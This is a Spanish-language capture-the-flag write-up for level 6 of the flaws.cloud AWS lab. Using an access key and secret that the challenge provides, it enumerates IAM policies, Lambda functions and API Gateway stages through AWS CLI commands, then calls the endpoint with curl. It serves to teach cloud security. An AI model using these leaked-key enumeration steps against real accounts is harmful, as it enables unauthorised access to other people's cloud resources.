Level 6

http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/

Nos están dando el access key de un usuario
Access key ID: AKIAJFQ6E7BY57Q3OBGA  
Secret: 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

Nos creamos un profile:

aws configure --profile ctf4

whoami

aws sts get-caller-identity --profile ctf4
{
    "UserId": "AIDAIRMDOSCWGLCDWOG6A",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/Level6"
}
aws iam list-attached-user-policies --user-name Level6 --profile ctf4
{
    "AttachedPolicies": [
        {
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
        },
        {
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
        }
    ]

Ver mas info de la política:

aws iam get-policy --policy-arn "arn:aws:iam::975426262029:policy/MySecurityAudit" --profile ctf4
{
    "Policy": {
        "PolicyName": "MySecurityAudit",
        "PolicyId": "ANPAJCK5AS3ZZEILYYVC6",
        "Arn": "arn:aws:iam::975426262029:policy/MySecurityAudit",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Most of the security audit capabilities",
        "CreateDate": "2019-03-03T16:42:45+00:00",
        "UpdateDate": "2019-03-03T16:42:45+00:00",
        "Tags": []
    }
}

Para mostrar el documento completo de la política:

aws iam get-policy-version --policy-arn "arn:aws:iam::975426262029:policy/MySecurityAudit" --version-id v1 --profile ctf4 --query 'PolicyVersion.Document' --output text 

Vemos que tenemos permisos para listar los buckets

aws iam get-policy-version --policy-arn "arn:aws:iam::975426262029:policy/MySecurityAudit" --version-id v1 --profile ctf4 --query 'PolicyVersion.Document' --output text | grep s3
ACTION  s3:ListAllMyBuckets

Listamos info de la otra política

aws --profile level6 iam get-policy  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
aws --profile level6 iam get-policy-version  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "apigateway:GET"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2017-02-20T01:48:17+00:00"
    }
}

Nos están concediendo permiso para hacer consultas get al API gateway (puerta de entrada al lambda)dentro de /restapis/

"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"

Cuando haces una consulta a este API se invoca una función lambda, la cuál devuelve una respuesta.

No conocemos la función lambda, pero tenemos permisos para listarlas:

aws lambda list-functions --region us-west-2 --profile ctf4

Existe una con nombre Level6

Listamos la política de esa lambda

aws lambda get-policy --function-name Level6 --region us-west-2 --profile ctf4

Pone algo como:

arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6

Que significa que para invocar esa lambda hay que hacerlo desde una api gateway con id s33ppypa75

Buscamos el entorno en el que está desplegada esa api:

aws apigateway get-stages --rest-api-id "s33ppypa75" --region us-west-2 --profile ctf4
{
    "item": [
        {
            "deploymentId": "8gppiv",
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "createdDate": "2017-02-27T00:26:08+00:00",
            "lastUpdatedDate": "2017-02-27T00:26:08+00:00"
        }
    ]
}

y con esto podemos hacer peticiones GET a la API del gateway para que la labmda nos cocine un resultado y nos lo devuelva

https://{rest-api-id}.execute-api.{region}.amazonaws.com/{stage-name}/{resource-path}
curl https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6

http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/